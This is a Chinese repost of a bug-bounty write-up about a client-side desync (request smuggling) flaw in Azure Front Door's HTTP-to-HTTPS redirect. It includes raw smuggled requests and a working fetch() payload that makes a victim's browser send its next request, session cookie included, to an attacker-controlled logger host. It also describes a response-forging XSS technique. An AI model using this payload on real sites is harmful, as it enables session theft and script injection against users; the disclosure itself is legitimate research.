几个月前,我开始在 Intigriti 平台提供的私人程序范围内寻找漏洞。在这过程中,我在分析特定主机上从 HTTP 到 HTTPS 流量的重定向时遇到了一个有趣的异常情况。
在这篇文章中,我将深入探讨发现这种奇怪行为后开始的短暂漏洞挖掘旅程,最终导致在 Microsoft Azure 的 CDN 解决方案之一(称为 Front Door)中发现客户端异步漏洞。
发现漏洞
当我向http://redacted.com发送以下请求时,这一切都开始了:
POST / HTTP/1.1
Host: redacted.com
[...]
34 :
GET / HTTP/1.1
Host: redacted.com
为什么会有这么奇怪的要求?在阅读了James @Albinowax ‘ Kettle 对浏览器支持的异步攻击的精彩研究后,我开始在Burp中测试。
服务器响应如下:
HTTP/1.1 307 Temporary Redirect
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
Location: https://redacted.com/
x-azure-ref: 20230522T201945Z-...
X-Cache: CONFIG_NOCACHE
HTTP/1.1 307 Temporary Redirect
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
Location: https://redacted.com/
x-azure-ref: 20230522T201945Z-...
X-Cache: CONFIG_NOCACHE
乍一看,似乎没有什么异常。服务器在同一个(保持活动)连接中接收到两个请求,并两次响应307,都从http://重定向到https://。
但实际上,我只是发送了一个带有正文的 POST 请求,正文的大小由
Content-Length
头定义。然而,我收到了两个回包。这表明服务器忽略了
Content-Length
标头并将我的请求解释为两个单独的请求。这看起来像是Albinowax研究中描述的客户端异步攻击。
引用@Albinowax:
经典的异步或请求走私攻击依赖于普通浏览器根本不会发送的故意格式错误的请求。这将这些攻击限制在使用前端/后端架构的网站上。然而,正如我们从 CL.0 攻击中了解到的那样,使用完全浏览器兼容的 HTTP/1.1 请求可能会导致不同步。这不仅为服务器端请求走私开辟了新的可能性,而且还引发了一种全新的威胁——客户端异步攻击。
客户端不同步 (CSD) 是一种使受害者的 Web 浏览器与易受攻击的网站的连接不同步的攻击。这可以与常规请求走私攻击形成对比,后者使前端和后端服务器之间的连接不同步。
经过更深入的分析,我发现这个问题并不是此客户特有的情况,而是客户使用的Azure Front Door服务中的一个普遍错误。
Front Door
Azure Front Door 服务是一个全球性、可扩展的内容交付网络 (CDN) 和智能应用程序交付平台,可将 Web 流量安全且高性能地路由到后端服务。
让我们深入研究一些可配置选项。
它的功能之一(默认启用)是将所有 HTTP 流量重定向到 HTTPS。
https://
从技术上讲,这是通过 307 状态代码 将浏览器重定向到地址来完成的:服务器支持保持活动连接:
并重定向 POST 请求:
但问题是它完全忽略了
Content-Length
header:看起来像两个请求的实际上是 Web 浏览器发送的一个请求,其中黄色框包含 POST 请求的数据(Content-Length
header 指向数据的末尾)。但Front Door服务器会忽略
Content-Length
标头并将其视为两个单独的请求。Front Door 的另一个有趣的设计功能(当然不是bug)是,由 Front Door 服务支持的所有客户服务器都可以在一个 IP 地址下使用,并且也可以在一个保持活动连接中使用(这是一项 CDN 服务,对吧?) 。因此,这是在一个 TCP 连接中发送的完全有效的一组请求:
注意 1: azure-victim.jeti.pw和azure-attacker.jeti.pw是两个不同客户的两个单独的 Web 服务器(我使用了自定义域以获得更好的可见性)。
注意 2: azure-attacker.jeti.pw服务器没有打开自动 HTTPS 重定向,这就是它不响应重定向的原因(这对于各种利用技术可能很重要)。
Exploit
CSD 攻击从受害者访问攻击者的网站开始,然后攻击者的浏览器向易受攻击的网站发送两个跨域请求。第一个请求的目的是使浏览器的连接不同步,并使第二个请求触发有害的请求/响应。
攻击者可以通过多种方式利用此去同步问题点。我将重点关注两种可能的方式。
窃取请求
让我们想象一下,在受害者访问时,攻击者的网站发送一个请求(例如使用 Java Script
fetch API
):fetch('http://azure-victim.jeti.pw/x', {
method: 'POST',
body: "POST /logger HTTP/1.1rnHost: azure-attacker.jeti.pwrnContent-Length: 200rnrn",
mode: 'no-cors',
redirect: 'follow',
credentials: 'include'
})
Front Door 服务将其视为两个单独的请求,其中第二个请求是附加了一些正文(200 字节长)的 POST 请求。
注意:请记住,azure-attacker.jeti.pw配置为不自动重定向,因此服务器会
Content-Length
在这种情况下进行检查。由于请求正文丢失,服务器将等待 200 字节的数据来完成请求。攻击者所需要做的就是将受害者用户重定向到受害者的网站:
location = 'http://azure-victim.jeti.pw/'
受害者的浏览器将发送另一个 GET 请求(大多数情况下浏览器将重新使用相同的连接)。两个请求将如下所示:服务器收到 200 字节的数据并向http://azure-attacker.jeti.pw/logger发送 POST 请求,其中包含以下数据:
GET / HTTP/1.1
Host: azure-victim.jeti.pw
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: PHPSESSID=uhogavedhcduei7qlfh1eplf7c
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0
实际上,攻击者窃取了受害者的会话 cookie。
通过伪造响应来实现“通用”XSS漏洞
利用 CSD 漏洞的另一种方法是伪造对受害者请求的响应。
让我们看一下当受害者访问恶意网站时浏览器发送的以下请求(通过发送
fetch API
):Front Door 服务再次将其视为两个单独的请求,并将两者发送到各自的客户网站。并收到 2 个单独的回复。
但受害者的浏览器只发送了一个请求,因此它只期望一个响应(在我们的例子中为 307 重定向)。第二部分保留在连接池中等待另一个请求匹配(因为 HTTP 管道)。
当攻击者重定向受害者时,浏览器会发出另一个请求。
但幸运的是,对于攻击者来说,浏览器已经有一个响应在连接池中等待(在我们的示例中,响应包含 XSS 负载,该负载将在受害者被重定向的网站上下文中触发)。
由于攻击者可以将受害者重定向到任何 Front Door 支持的网站并伪造响应,我认为这可以称为“通用”XSS 🙂
原文始发于微信公众号(军机故阁):Azure CDN上的客户端异步攻击